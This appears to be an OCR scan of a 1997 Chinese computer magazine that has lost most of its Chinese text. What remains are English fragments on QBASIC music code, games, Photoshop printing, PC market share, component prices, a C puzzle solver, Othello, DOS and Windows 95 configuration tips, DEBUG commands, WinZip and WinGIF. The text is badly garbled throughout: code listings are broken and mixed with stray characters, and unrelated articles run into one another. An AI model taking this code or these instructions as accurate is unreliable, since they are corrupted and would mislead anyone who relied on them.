MN L play aa7$ +aa8$
7/8 end
ML L
MS L
3/4
X +b$; b$ DRAW QBASIC PLAY
(n) PLAY ON PLAY OFF PLAY STOP ON PLAY
S (n) GOSUB line
< PLAY (n) n
#or +
_ PLAY ON
PLAY PLAY OFF
PLAY STOP
PLAY ON
REM YUEQU. BAS
aa$ =" T180MLO2MNLSAL4O3EL8DDCO2BALIBO3L8CO2 ~ ON PLAY(n) GOSUB line n L 32
BO3CDO2BAAGLI1 "
aal$ =" AO2L5AL1603ELSEDDCCO2AABLIB ” line
aa2$ =" MNL803CO2B0O3CDO2BAAGO3LI1ELSEEEFEDCE
DL4DL8EDCO2B0O3D "
aa3$ =" MNL803C0O2B0O3CO2BP8AO3DCL102B "
aad$ =" MNLBO3EEEFEDCEDDPSEDCO2BO3D "
aa5$ =" MNL8O3CO2BAL3AL4BL103C " REM BEIJINGYINYUE. BAS
aa6$ =" MNLS8CDCO2BL4BO3CL2DPSLSDEFL4DL1T90E " screen 0
aa7$ =" TISOMNLBEDEDL4EL8GGL4GL8DDL2DL3FEFEL4 on play(3) gosub BKD
FLSAAL4ALSEELZ2E " play on
aa8$ =" MNLBAGAGL2ALSBABAL2BL804CCCCCL403BL38 music$ = ’mbo318ed + ed + eo2bo3dcl202a”
play music$
locate 2, 1
rint “press any key to stop.”
231 30 / ?or i :Fl) to 1()y ’ ’
39 /
6 502 15 ; do while inkey$ ="""": loop
10 / play stop
20 / input “what are you doing”; a
36222 12 / print
15 /
1 , play on
30 , next i
39 end
12 BKD:
130 n% =n% +1
lii é(()) locate 1, 1
print “Background called”; n% ; “times”;
play music$
48 return
010 - 62176018 62177399 (/f%“gi)
100081
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e

* % Westwood E3
Lands of Lore —
Guardians of Destiny Blade Runner

Command & Conquer — Sole Survivor

* % Pandora Directive ~ Access Software
Tex Murphy Poison
Pawn DVD 30
Pandora Directive 10

% % Interactive Mag-

IMAGIC

ic Digital
Integration

iF-16
Viper

http: //www. imagicgames. com

3D

* * A3D 3D
Jedi Knight Maxis

SimCity 3000  Streets of Simcity Crack Dot Com

Golgtha Reality Bytes  Dark Vengeance
Aureal 3D

* K . Internet IBM
¥ Deep Blue
Gary Kasparov

Chess-
http: //

Mindscape
master

www. chessmaster. com

* K

. 64.

—_— Yavaum
SSI
Windows95 —_— War
Wind)
War Wind
3D
C&
C 7
* % SSI Gametek
SSI
Gametek
Dark Colony PC MAC
Dark Colony http: //
www. gametek. com/dark /index. html
* Mplayer
DirectX API DirectPlay
* * West-
wood Studios Lands of Lore: Guardians Of
Destiny
MMX

% % Take 2 Interactive

Black Dahlia

http: //www. bdahlia. com
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PHOTOSHOP

OJ

pix /incm) =

B4 150lpi B A5

RGB C MYK
Gl M(
)Y( ) K(C )
Angle ( )
shape
photoshop 3.0
Round( ) square( ) line( ) croosc(

) diamond ( ) elhpse( )
<Transfer. . . >

Transfer

Transfer Functions

sl _T¥ ==

=

| |n.Dx LI
= om

mJs =[x

3 -}

o me e
£ Megsi
£ Yol
F Bt

B 6 Transfer & 15 4E
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file—

<Background. . . > <Border. . . >
<Background>
<Border>
<Bleed. .. >
Bleed photoshop
5.2
print
Prmer;  #TEM |1F Lascrlet I1F) lIi
o |
U S|
Print ity |30 i = gopes |||
~ Fringsa Flig ~ Collar Coples
R g ————————————
G FRGE O CMYR
B 7  PRINT *i&1E
print range
Page photoshop
print quality
print as
copies
999
<ok>
5.3
. 65.



e

| LOVE THIS GAME—NBA 97 LIVE o %
L] X - MAN
NBA 97 LIVE EA NBA 96
LIVE 96
97 96
97 96
97
NBA
97
NBA
NBA NBA
97 97
97 96
97 96 ROLE PLAY
MODEM
97 96
NBA97 NBA
NBA97
I LOVE THIS GAME ©
photoshop
5.4
photoshop K2 m*‘*‘
B8 WA AR BT

. 66.
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(11 7
U Rackro
? ID Software
3D DOOM
3D
1500
3D
!
!
?
( 1) (
)
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5 W mo pe B P

O R e e e e R e e e UG C

(]
PC IBM
PC
* ! 1996 IBM
PC IBM
COMPAQ
COMPAQ 1996 IBM
COMPAQ COMPAQ
IBM HP COMPAQ HP
COMPAQ 1997 IBM
COM- IBM
PAQ
COMPAQ “ 7
IBM
COMPAQ COMPAQ IBM  Thinkpad
‘ ! IBM
IBM
COMPAQ 1996 1997 IBM
IBM COMPAQ “
" COMPAQ
IBM *
COMPAQ ! IBM
: " IBM
IBM IBM  Aptiva
COMPAQ 1996
(1996  COMPAQ Presario 1997 IBM
400 500 700 900 9000) 1997 PC
COMPAQ IBM
COMPAQ 1997 1997
COMPAQ AST PC
COMPAQ 1996  AST PC
AST
AST
COMPAQ 1997 PC 1997 2 AST
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PC AST
AST
1997
AST
PC
1997 AST
HP 1996 PC
PC HP
HP
HP " Vectra 500"
" “ Vectra
500" HP
" Vectra 500"
HP HP—
HP HP
HP
1997 HP ) !
HP
HP 1997
HP
1997 PC
1997 PC DELL
DELL
DELL
DELL
“ DELL
. 70.

" DELL PC
“ " NEC
PHILIPS ( ) FUJITSU( ) TULIP(
)
? 1997
1997 PC
1996
486
5%
IN-
TEL 70%
20%
MMX ( )
50%
200 20 40%
15 65
300 PC
1997 PC
1997
@
if]ﬂ uﬁhﬁ,y’ﬁiﬁ"g :}]ul
7/ 7/ )

yar-ﬂ’!“lﬁlﬂ 07 BRMSERRNE

486/586 IDE PC  DOS Windows3. X Win95
R P
R . ,
A
A
++ - =
IETARL B EFIRAR LD
8 100#(100088)

Tel: (010)62058177  Fax: (010)62058176

E — mail: incom @ public3. bta. net. cn
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(]
(1997.6.9)
( ()
CPU IN PRO 200 4350 IN PRO 180 3550
IN MMX 200 4180 IN MMX 166 2320
IN 200 2250 IN 166 1720
IN 133 1130 AMD K5-133 630
CY 200 + 1200 CY 166 + 920
1M 30 30 8M EDO 265
16M EDO 510 1M ( ) 50
5128HX 920 5129VX 330
5145TX 1250 (ATX 5148TX 1400
QDI HX 950 QDI VX 350
SP4V 980 TVP4 970
HX 1000 TX 1320
(ATX)8661 1780 8661VX 850
Sea 1.2G 1340 Sea  2.5G 1700
Sea 3.2G 1760 Max 2.1 G 1450
Max 3.2G 1900 Max 4.0G 2300
1.2G 1340 1.0G 1220
8 x 720 SONY 8 x 800
8 x 690 12 x 820
12 x 620 12 x 750
4 x 550 4 x 490
200 140 300 110
120 3D 150
9630 180 9685 310
S280 380 S600 610
3325P 600 3325T 300
475 420
540 TV 360
)
\ 1 2 3
UCDOS WINO95 RICHWIN
Visual C+ + Visual FoxPro etscape
CCED
MIS MIS MIS “ !
KV300
CD
/
INTEL
486
486
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CPU IN-
TEL MMX 166 CYRIX 166 +
INTEL 166 330 INTEL
MMX 166 280  PRO 180 400
CYRIX CPU
AMD K6
INTELS P2 20%
INTEL
25% PC
Ko6 AMD
8MB 35
ATX
ATX
430TX 1400
5148 1780 8661
ATX
ATX
( ) 560 (
) 620 350
ATX
CPU
CPU Socket 7
Seagate Quantum  Maxtor
100 ~ 400
©
L1



T

YREADBTT

[
—PC?
PC Mac
PC
(PC) APPLE
10%
8 APPLE
70
1984
“ Mac”
Mac
APPLE
IBM
Compaq AST
IBM PC
Mac
PC
Mac
DOS
WINDOWS
WINDOWS DOS
DOS WINDOWS
DOS

72,

70%

Mac?

IBM
Macintosh (Mac )
IBM

“w ”

80

IBM PC

APPLE

IBM

DOS

PC

170

Mac
Mac
——IBM  MOTOROLA AP-
PLE APPLE
(POWER PC)
(Mac OS SYSTEM 7.5)
Bubble Jet ( )— 70
HP CANON EPSON LEXMARK HP !
70%
HP
Laser Jet5Si
4000
——Laser JetoLL
HP
CANON
1996
27
EPSON
‘ ! EPSON
LEXMARK IBM
96
LEXMARK 1 LEXMARK
LEXMARK
LEXMARK
TRUE 1200 * 1200
100%
“ Fun to Print
( )"
Photoimpression
Potoimpress T — Shirt Design-
Maker T
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CANON
BIC -4200
|
PC 920
Internet
Compaq 7000
APPLE ” Mac”
IBM
‘ Aptiva” 1
Acer

Aspire 7500

Fax/Modem

Acer Aspire7500
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1/5
AST M "
AST : !
AST ‘
AST
AST
PC
8 “ Modem ”
OPTIMA2388  OPTIMA144 Modem
Microsoft Ac-
cura Inter-
net 30
Internet
“ Made in China
" AST
@
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(F#H 2 2x)

B L 70% VCD
(=@ FHEHE)

B B:BliR—=7]. Wsti3E 0

VCD

VCD
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VCD

? (k& &%)

D B:HIREARE

" 97

TERNET

Photoshop ?

Ghiz )

E B IRBMIm\EnI

MIS

MIS2000 "
MIS MIS2000 "
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(K& Fi4)

F B:@&imEM53T?
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AutoCAD

AutoCAD

VB4.0

Visual Basic4. 0

VB

. 80.

AutoCAD

VB
Visual Basic4. 0
48.50
Photoshop
68
Photoshop Photoshop
Photoshop
100 Photoshop 48.50
3DS
3DS
78 3DS
3DS 48.50
Authorware
98
Authorware
JAVA
JAVA
JAVA C C+ + JAVA AWT
85 MS Windows X Windows MAC
Windows JAVA 170
Stream Exception C
48.50
88
68
Delphi
Delphi Object-
Pascal
50 Delphi
Delphi Windows
Delphi 68
48 100081

010 62174588
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2) 1=K R K
1997 4 Wk 0=Wk=Ax N 1=K+1 .
Wk +1 0=Wk1<Akn
(a)0=S Wk <Ak K
(b)Axk + 1=<Wx.1<ax.+
139 27 11 0=Wk=Ax, s
W' —AksW's0
s aK +1 ak+1+ Wg',
1 40 s ak+1<2Ax +1 ak+1 — Ak
Ax +1 ak +1 — Ax; aK +1
Ak + 1= Wx.a1<ak s
ai, a2, Az, A4 ar =40 — K+1
a; —a, —as; al 1l a<ay<aa<((40-a,)/3=13; c) Ak 1< Wi <Ax+1: aK +1 K
;< (39 —a,) /2 0<Wk= Ak , ak+1 +
s Ak = Ak aK +1
SEM (1) a=1 1 , n-—
“ " 1
(2) R K, 2Ax + 1<ax+1
Ax+1 K-1
Hopfield ak — Ax> Ax s ak 1
TSP(n=10) ( n (2)
)
: n m
“ ” n= 23 i-1 ai:3i71
i-1 =t
a=o( Xa) 41 i=2,3, m)
-1
m {a1, a,
K
am} Ax = I%]ai n m
ai=1 Aas<2A; +1 (j 1,2, m-1) 1
01 Al lisd () di0)
s s ai=3j71 3i-1 n <
G=1,2 m) -
N m { Ziﬂ i-l n=150 m=6
mo 3308
aLa, an), M=23""
= m
1)M <n
1 n
2)M =n ta;=31""(G=1, m)
3)M> n #include  <stdlib. h>
s (1 void lisd (n, t, kO, kt, pno, ps)
ia i=n BITTER LILAC unsigned int n, t, kO, kt, * pno, * ps;
i=1 { unsigned int i, j, nm, h;
: N ) B if ((t <(kt—=kO +1)%*n)) return;
Fo s 236 (630015))  } —0; for(i=0;i <k0; + +i)h+ = % (ps+i);
(023)63609794 — 9% .
Di=1 ,a=1 . : h=2%h+1;
E — mail: lilac@ public. cq. sc. cn if(k0 = =kt) {

if (t> h)return;
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* (ps +k0) =t;

printf("\n*  %u * \n”, + + (% pno));
for(j=0;j <=kt; + +j) printf "% u ", * (ps +j));
return;  }

nm =t/ (kt —kO +1);
nm=((nm <=h)?nm: h) ;

if(1k0)nm =1; (
for(i=n;i <=nm; + +1) )
{

if((t—1) <(kt —kO) *i)return;
else {* (ps +k0) =1i; lisd(i, t -1, kO + 1, kt, pno, ps); }
} 9 8
}
void di(unsigned int n, unsigned int m)
{ unsigned int i, j, h, h2, pno, * pd;
h=1; for(i=1;i <m; + +i) h=3%h+1; o

if(h <n) printf(” 17); « B”
else if (h = =n) {printf (" ! :\n”); . .,
h2=1; w
for(j=0;j <m; + +j) 9 “ BT YW
{ printf ("% u ”, h2);
h2% =3;
}
}
else
{
printf (" s ! :7);
pd = (unsigned int * )malloc (m * sizeof (unsigned int)); “ L 1
pno =0;
lisd(1,n, 0, m — 1, & pno, pd); (x,y) X
free (pd); y
}
1
main () 1. j i i
{ unsigned int n, m; j
while (1)
{ printf (" \n < > S \n”); 2. 1
scanf("%u, % u”, & n, & m);
di(n, m);
}
1
n m=4 “ No legal move”
WTTEIRIIIRIDIDIBIBIRIRIRIRIRREAN M 1 23
A v
: :
: :
A v
E 5500055 112345678
3
Neccccccceccccccccccccccccccccccs . : N0 o
5 0|®|0|0
(2 3) 33 (3 6 ole|®|O
1997 7 5 (6 2) (7 3) 7
(7 4) (75) 8
8x8
I 2 3 4 5 6 7.8
; “ Black — xx
3 @ [e) White — xx”
4 ole|e|O
5 ole[o]o *x
6 ol|oj|e@|o yy
(7 3) 7 [e]
8
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(010)62049624 (010)62049621
WWWB- - --
WWB- - ———
WB-————— o
" Q .
B 1 Inter-
L .
M25 net E —mall)
L 2
Q
HE) #ir B 1997 10 20
(35)(46)(53)(64)
lack — 1 White — 4 ©
T IN (3,4) (3,6) (5,6) AMEAG P AT EMNFLAER
2 . £Fe i, BREEFRKEL
"""""""" i e PEREHE, FlRXFHRIZEL
——————— S —WW- - -
- -WB--- o _BW- - SR
---BW === ______ bttt ittt 1
———————————————— 1 3 4 :
! 1
———————————————— 1 H
1
________ NO legal move. ! PC ( 70— :
———————— Black — 3 White - 12 180 ) 3 H
v (3 5) i 3 200 i
L WWWWB - — — ! 1
M35 WWWWW — — — ! 1 i
L WWB - - — — — ' H
Q WB=- — - — — — e e mmcmmmmmmmmmmmm e ——— 1
WWWWB - — —
Computer Fan 1997 . 7. . 83.



5

100 DOS6.22  Win-

dows 3.2 4MB

8MB EDO
HIMEM. SYS
00800000H XMS HMA DOS
XMS SMARTDRIVE
Config. sys device = himem. sys
DOS6.22  HIMEM. SYS
Config. sys device = himem. sys

device = himem. sys/testmem: off,
CMOS BIOS FEA-
TURES SETUP Power On Selftest

Disable CMOS

Phoenix BIOS 4. 04
BIOS SETUP
SETUP
Win95
SETUP
SETUP
CD - ROM BOOT A
CD -ROM
IDE
IDE
BIOS SETUP
Integrated PCI IDE
IDE SETUP
Integrated Peripherals

Primary,

Advance
Peripherals Integrated PCI IDE Both
Disable Primary Both

Integrated

IDE

AMDS5X86/100 8M
WINDOWS
WIN32

. 84.

WINDOWS Config. sys
Con-
fig. sys C: \WIN\SMARTDRV WIN-
DOWS CWIN
Config. sys C:\ WIN WIN-
DOWS )
FORMAT
0
FORMAT FORMAT
DOS
HD - COPY
HD - COPY
5
1.2M
1. 44M
1.2M
3
FORMAT 0
120
Mouse has
been setup on: coml port DOS MSD
MSD
RS232
-5 ~-15 1
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1997 4FC HUBR B35 M0 T KB AERS

1997
1996 68 92
1997
1997
1.
3. INTERNET BBS E - MAIL PC
4, PHOTOSHOP CORELDRAW
5. JAVA
1
2.
3. —~  (MODEM)”
4,
5
6.
7
8.
1.
4000 = 20000 (
5 )
120
50
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1995
* COMDEX"
(NC)
NC
PC
500
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( )
NC PC
Wintel NC
1996 5 Oracle Sun IBM
NetScape Apple 5 NC
“ NC Reference Profile (NC
)" NC
1996
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Netword Computer Sun JavaStation
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NC s
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“NC »
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NC

“

1996

Oracle 5

NetPC

NetPC
NetPC

NC
Citrix

PC

COMDEX"
NetPC
Wintel

NC
Wintel

NC

Java NC

WinFrame

NetPC

NC

Windows

NC

Java
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PC

PC
500 (
) PC -40%
PC NC
AT& T 530
Boundless Barclay
( ) NCD
15000
3 ~5
Java Wintel
Java NC
NC NC Wintel
NC
Ja-
va
Java
OS CPU Java
(VM) oS
CPU NC
oS CPU
Wintel
NC
Java
JDBC (Java
) Symantec
db Anywhere =~ SCO  SQL Retriever
v
TriTeal  SoftNC SCO
Tarantella Insignia ~ NTrigue Client
for Java Windows Unix X
Java
NC 4  64MB

RAM 8MB ROM

)

Card

Smart Card (
PS/2 1/0

Smart
NC Smart Card
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2010
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T AT K 5 FIR G
1994 “ "
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95
0 . ,
1996 IBM
1997 5 11 30 6
1983
1989 “ "
35 M .,
2.5
6 12 49 “ "
20
IBM
6
" 6
>0 1989 3.5 2.5
2 0
70
ATM 4.
ISDN PC NC
ROM NC OS Web NC
Java NC 5.
PC PC
ROM NC NC
RAM
1.
Java NC NC PC
FID 17000
Sun JavaStation NC PC
PC NC 2.
Pen- 0.
tium NC IBM 3270 5250
OS Windows CE NC VT ASCII/ AN-
NC ! ! SI
GUI
PC
NC 3.
PC NC
PC NC @
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MMX ™ Pentium® [l
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HP HP 1998
6 11
' 97
HP DesklJet 690C
7 9
AST 7 15 AST 1997
Advantage! 2000
Oracle 8 6 25 Oracle
Oracle 8 for Windows NT
Oracle
8
20000
Oracle 7 10
Oracle 7 3~5 Oracle
Oracle 8 Oracle
Oracle
Lexmark ?
5 =11 ) (12 =15 ) (16
-20 )

6 25 8 20 8 25
Lexmark
Lexmark

1200 x 1200dpi ~ Lexmark 7000

L12.

Acer PC
Aspire ‘ I
12%
6 18
14
3

Maxtor 6 17 Maxtor

DiamondMax 1750 7.0
5.2 3.5 1.7GB UltraDMA

33MB

IBM 6 10 IBM
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IBM
Via Voice
7 15 8 30
“ Internet PC !
Internet PC
Internet ISP
I
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‘ " o7
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8
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DOS
(
)
DOS WINDOWS
UCDOS

FoxBASE
FoxPro WPS ( )
WORD

©
IDE Integrated Drive Electronics) ——
SCSI
PC
CD -ROM PC SCSI
! IDE 170
! IDE IDE
SCSI

SCSI Small Computer System Interface) ——

SCSI
SC-
SI-1 scsi-1
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(w MEAE)

SDRAM Synchronous Dynamic Random Access Memo-
ry —— 64
168 CPU
528MB/Sec  EDO

EDO Extended Data Out

DRAM

2048
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CPU
0o 1
0 1
0 1 (
)
0o 1
CMOS Memory Parity Er-
ror Check Disabled
Gh&R WET)

Ctrl + Break Ctrl+C

Ctrl + Break Ctrl +C

Ctrl + Break

Ctrl + Break BIOS

INT 1BH
BIOS
IRET DOS
DOS Ctrl + Break
DOS
1BH

DOS INT 23H
. 16.

Ctrl +C
Ctrl +C DOS
INT 23H
INT 23H
DOS
DOS INT 23H
Ctrl + Break
BIOS Ctrl +
C DOS
Ctrl + Break
Ctrl + C
INT 1BH
Ctrl + Break Ctrl + C
(L7 F@E)
Cache ?
Cache
CPU
SRAM ( )
CPU
Cache
Cache
CPU Cache
Cache
Intel
MMX CPU
Cache
Cache 512KB  ?
CPU
CPU
Cache
Cache Cache
CPU Cache

”ﬁ....

512KB Cache

Pentium

Cache

100%
512KB Cache
512KB

256KB

Pentium Pro

Cache
16KB
256KB
Cache
CPU
Cache

Pentium Pro CPU
Cache
512KB
Cache

Cache

rim  mOes)

TPI

(el ke )
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WINDOWS

—.SETUP /P APPLICATION (b &3
‘ " W B TS A
SETUP /P WINDOWS
(’g\i‘/l @:E ) Ctrl + Alt + Ctrl
+ Shift + Ctrl + Alt + Shift +
= \WIN3. 2 & JA Pe sk bt
Ctrl + Alt +P
TAB (1)
ALT + 3) P(
ALT + — Ctrl + Alt +
ALT + Windows )
(4) (Es #3A)
ALT + TAB
CTRL + TAB A B3 WIN9S 7 —i%
ALT +ESC
CTRL +ESC WINOS
ALT+ T 95 WIN95 WIN3. X
ALT + ENTER WINDOWS . ’ )
DOS DOS
CTRL + WINO5  WIN3. X
ALT ? WIN95  MS-DOS
* MSDOS. SYS
INSERT
DELETE

(Td TEE) ATTRIB C: \MSDOS. SYS -R -S -H

EDIT MSDOS. SYS
= WIN95 —;é)’T i%f;gi w3 ﬁlé [OPTIONS ] BootGUI =1 BootGUI =
0 EDIT
WINO9S 101 ATTRIB C: \MSDOS. SYS +R +S +H
WINDOWS APPLICATION DOS
(WIN95  DOS7.0) WINO5
WIN (ki #HPn)
WIN +E @
WIN +F
B REE
WIN + R
WIN +F1 Sellers A= JAN
WIN + BREAK Lal tﬁ H *Bj
NN &St A MEsRH RiEERIBE

WIN + TAB
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N0 BR (i B3

“ “ ”

WIN 95 —_— —_— SHIFT"
39 “ SHIFT" * »
WIN 95 " “ XXXXXXX " “ i
« » 5
_ WIN 95
WIN 95 1] J3 5 . . .
WIN 95 — 95
P133/16MB/1GB 20 “ "
95 WIN95 " SHIFT” " ” 95
E— WIN 3.2 5 "
v 1 [ i
WIN9S WIN 95
CON- WIN 95 WIN 3.2
FIG. SYS AUTOEXEC. BAT DOS —  WIN 95 WIN 3.2
6. XX W40 CONFIG “ i
HIMEM EMM386 AUTOEXEC : — WIN 3.2
PNP E
K N
DOSKEY % $ &
Starting Windows 95 WIN 95
2 WIN 3.2
05 “ " REGEDIT
: " WIN 95
N Vi) 13 ”
M
HEHMM" SHIFT ¢ REGEDIT. EXE"
L p v »
WIN 95 WIN 95
DOS “ i “ HKEY_CURRENT_USER”
“ ! “ Control Panel” " Desktop”
?
ADVANCED CMOS SETUP( CMOS )

1. ABOVE 1MB MEMMORY TEST (1MB ) DLSABLE( ) ‘yf_,
2. MEMORY TEST TICK SOUND( ‘ " ) DLSABLE( ) /v,
3. HIT DEL MESSAGE DISPLAY ( " DEL ' CMOs ) “

DISABLE( ) @
4. FLOPPY DISK SEEK AT BOOT( ) DISABLE( ) f
5. SYSTEM BOOT UP SEQUENCE( ) CA E 1
6. VIDEO ROM SHADOW C000 16K VIDEO ROM SHADOW -

. 18.
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WIN 95

]
“ MenuShowDelay” 2.
1~10 —_— 1 WIN 95 C
10 1 10 20
—_— ! ! 95
cRNGE ¢
@ . 50MB “ DELETE’
3.
! “ " N
“ HKEY CURRENT USER”  “ Control Panel” “ SHIFT”
" Desktop” “ »oo ” 05
“ WindowMetrics”
“ MinAnimate” 0 1 95% 80%
0 1
WIN 95 % 4 % W
WIN 95 WIN 95 —_
WIN 95 ‘ WIN 3.2 ‘ "
" WIN 95 “ "
1! ” "
95 “ oo "
“ oot ! “ ! For Windows
640 x480 16 2MB
800 x 600 ©
C400 16K SYSTEM ROM SHADOW F000 64K  ENABLE( ) SHADOW
BIOS SYSTEM ROM SHADOW
CMOS
CONFIG. SYS
1. CONFIG. SYS HIMEM /TESTMEM OFF HIMEM
]
2. CONFIG. SYS SWITCHES = /F STARTING
MS-DOS 2

AUTOEXEC. BAT

©
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DOS7.0

WINO95

102MB

PWIN95
30MB
PWIN95

90MB

DOS6. X +

WIN3. X
WINO9S5 DOS7.0

EDIT

9 REN

DOS7.0 +
WIN3. 2
(
WIN95 C WIN-
DOWS )
1. WIN95
WINO95
SYS. COM
FORMAT. COM C\
WINDOWS
HIMEM. SYS
EMM386. EXE SMARTDRV
.EXE IFSHLP. SYS SETVER
.EXE
2.
ARJ C: \win-

dows\ command\ * . *

3. WINO95
FORMAT

. 20.

C:/Q SYS
C:
WINDOWS
WINDOWS
COMMAND
COMMAND
4.
LOCK Y
WIN32  C:\ windows
WIN32
LOCK
5.
HIMEM. SYS
EMM386. EXE SMART-
DRV.EXE IFSHLP .SYS
SETVER. EXE C \ WIN-
DOWS WIN32
6. C: \MSDOS. SYS
MSDOS. SYS
[Options |
Logo =0
BootWIN =1
BootGUI =1
Network =0
[Paths ]

Windir = c: \windows
WinBootDir = c: \windows
7. CON-
FIG. SYS AUTOEXEC. BAT
COMFIG. SYS
HIMEM. SYS

=
=
QO
N

DOS7.0

HIMEM. SYS SETVER. EXE
IFSHLP. SYS
WIN3.2 CONFIG. SYS

DOS7.0
DOS6. X
DOS7.0

8. DOS6. X
UNDELETE. EXE MWUN-
DELETE. EXE

c: \windows \command
DOS7.0

LOCK

9.
Starting Windows95

PCTOOLS
10.SYS
WINDOWS 95
57696E646F 7773203935
4D532D444F5320372E30
Starting

MS-DOS7. 0
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DEBUG

LS AN
18] o Qg

DEBUG

A address

C blk1 r blk2

D address r
E address list

F address r list

G =address
H nl n2

I port

L address d sl s2

M r address
N pathname

O port n
P address n

Q

R register
S r list

T address n

U address

Computer Fan

(]
address ( )
100h
r blk1
blk2
address r
address
address list
address list
ASCII
list address r
address
nl n2
port
d(o A 1 B )
sl s2
address N
L
r address
L W
n port
INT CALL
LOOP address
n
DEBUG
38088 register
r(r ) list
address n
address address
1997 . 8.

W address d s1 s2

XA h (
XD h XA
XM1ph h

0
NORTONS. 0
?
1.
@4#!
2. ATTRIB
3. ATTRIB
S-H-R *x.@#!"”
4. DEL
. @#!

address

A
s2

DISKREET. SYS

32MB

1

(h)

d(o
) sl

DIR/A

S HR

ATTRIB

DEL *
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UCDOS

Il
97 4 UCDOS
RD16. COM KNL.COM ASCl6 HZK16 PY.COM
uCDbOS PY.USR RDENT.COM WPS.COM WPS. EXE
RD16. COM WPS1. OVL QUIT. COM UCDOS
C UCDOS ASC16 DRV FNT
HZK16 DRV PY.IMD PY.OVR VGA.DRV(
PCTOOLS ) FNT HZK16F
ASCII PCTOOLS uC-
RD16. COM E DOS. BAT
F3 F1 ASCII @ECHO OFF
0016(0010) Cc—0 A—0( PATH A: \; A: \UCDOS
B ) RDI16
s KNL
PY
C: \ UCDOS C UCDOS6. 0
A F5 1. 2MB
@
|
VGA TW. EXE 4.2
(HOTSOFT V4. 2)
TW. EXE
230KB HGC. DDV HGC. DDV
300KB SPVER. EXE 3.0
V3.0 * . ZIP
UNZIP
™ EXE 233 006 WBX. COM SPDOS V5.0
HGC DDV 7005 SPVER. EXE SPDOS
SPVER EXE 3 823
WBX COM 48 474 SPDOS
4FILE(S) 292 308bytes SPDOS V5.0 ™
TW. EXE WBX. COM SPVER 5.0
WBX ©
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—.J1 NORTON
C:\> CD \NU NORTON
C: \NU> NDOS NDOS
NDOS MS-DOS
DEL

DEL [/N][/PIL/QIL/SI[/X]I[/Y]L/
Z] [DRIVE: ][PATH]FILENAME. . .

/N

/P

(Y/N)

/Q

/S

/X

/Y

/7 :

[DRIVE: | [PATH] FILENAME
% 97

.BAK

Computer Fan 1997 . 8.

C: \NU> DEL C: \* . BAK/S/Z
C
BAK

2. C D
*.BAK

C:\ NU> DEL/S/P C:\ *.BAK
D: \*x. BAK

3. C
OLD BAK TMP

C: \NU> DEL/S C: \ *x. BAK C:\
*.TMP C: \*.OLD

(& mei

= ./ DOSHELL

DOS
DOSSHELL. EXE
FILE
SEARCH
*.BAK

*.BAK
FILE DELETE
OPTION CON-

FIRM ON DELETE

(&R %)
&

.23.



&

Winzip6. 0 for Win95 Win95
Windows Arj Zip LHA ARC
Winzi
Winzip6. 0 for Win95 Doublespace Arj
Zip
Winzip
Winzip6. 0 for Win95
Winzip6. O for Win95
Winzip6. 0 for Win95  setup Winzip
Winos “ . v ow "
Winzip
Winzip6. 0 for Win95
Winzip6. 0 for Win95
File Actions Options  Help
( )File
File New Archive Open Archive Close Archive The Information Copy
Archive Move Archive Rename Archive Delete Archive  Exit New
Archive Open Archive
Delete Archive
Win95
(' )Actions
Actions Add Delete Extract View Select All Deselect All Virus Scan
Make. exe File Test  Check Out
1. Add Add
Action Compression Multiple
Disk Spanning Recurse Subdirectories Save Extra Directory Info
(1)Action Add
Freshen Update
Move
(2) Compression Speed
Size
(3)Multiple Disk Spanning
@® ( )
® ZIP Program Locations
PKZIP ( ) 2.04¢g LHA

(4) Recurse Subdirectories
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( )
(5)Save Extra Directory Info

2. Delete

L L ]
W I n Z I p 3. Extract Extract Over-

write Existing Files ~ Use Directory Names
(1)Overwrite Existing Files
(2) Use Directory Names
Extract To

4. View

5. Virus Scan
6. Make. exe File
7. Test  Check Out
(' )Options

1. Configuration Winzip

2. Directories

Win95
Winzip

3. Explorer Configuration

Winzip

4. File Manager Configuration

Winzip

5. Font
6. Password
Password Add

Password

7. Program Locations PKZIP PKUNZIP
Winzip
ARJ LHA  ARC
8. Sort

Winzip6. 0 for Win95

Winzip6. 0 for Win95 Win95

) Extract to

() Win95 New Winzip File

)
View
(! Winzip6. 0 for Win95 * / ”
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INIJBIER MBI WINGIF

DOS 1. FILE
VPIC SVGA GDS QPEG SEA OPEN
WINDOWS SAVE FORMAT

WINDOW REOPEN
NDOWS DELETE CURRENT

GWS PHOTO STYLER SAVE PROFILE OPTIONS WINGIF. INI
PHOTOSHOP
PRINTER SETUP
PRINT
2. EDIT
RESIZE
VGA 16 DITHER ~ VGA16 256
DOS MONOCHROME DITHER 256

WINDOWS WING MIRROR

WIN32S WINDOWS FLIP
ROTATE 90

WINGIF WINGIF ~ PALETTE
GRAYS 4 8 16 64 256

Superset Software WINDOWS CONTRAST

90KB BRIGHTNESS
GAMMA
ACCEPT PALETTE
RESTORE PALETTE
COLOR DIALOG
PASTE

.JPG DOS COPY

TRIM
ALCHEMY .JPG CLIP

WINGIF WINGIF 3. OPTIONS
WINDOWS FULL SCREEN
RESIZE TO SCREEN
CLEAN BACKGROUND
_ DECODE TO SCREEN
Slide Show MEMORY DIBS ONLY
AUTO MINIMIZE
WINGIF WINGIF. EXE FULL PAGE PRINT

WINGIF. HLP QUICKDITHER
WINGIFE. TXT LTE GRAY DISPLAY

EXTENDED OPTIONS
WINGIF. EXE LABEL ATTRIB
WINGIF LIST OPEN LOOP
WINDOWS WIN- AUTO RESIZE
DOWS DELAY SECONDS
4. HELP

WINGIF BMP GIF RLE PCX

WINGIF
©

. 26. i EAF A 1997 . 8.



&

T i B e e S e At V)

i i
i !
1 1
1 1
1 1
i i
i t
1 1
i I | L4 THENR
! ! Ll RERFY
} + T3 R
; * (L] [T Ir]
T } FE® BWEHL
+ ] t BEE | mpEss
+ + TR TER L
I ; (L] [T ]
o T S S S S e e S S e e o e BEE BRSNS
v Bk & AT
p ” EaLs IR I
) . AR i
B & g A
Fix IR BT
AL D A5
Tunes Mew Romuan i TRy ¥ s . L
ARCDEFGHIKLMNOQRSTUVW R Y2 k:'—f’ff":l,:."i"“:“:nf:‘:f"‘l::::f
abedelghijklmoopyrsiuywaye * ';:54.__._,;___[,_,“'0. -
IN- 12345687890 c
TERNET
_ ¥latarn ¥I7 Seript Cnitals Braqaadecie
AJFLDEASCHIGELMY ABCPEFGHIIKLM
OPAZSTUVWNXNY = NOoOPranSsSTUYWIXNY W
abedefghijhimpopqratuvwrys abedefghlijklmnoep
1234567890 reEiavwIxyms
123486 7FRDO
Britannic Bold
ABCDEFGHUKLMNOPQRSTUVWXYZ
abcdefghijkimnopgrstuvwxyz
1234567890
PHOTOSHOP 3D STU-
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<Alt> + <F4> <Alt>
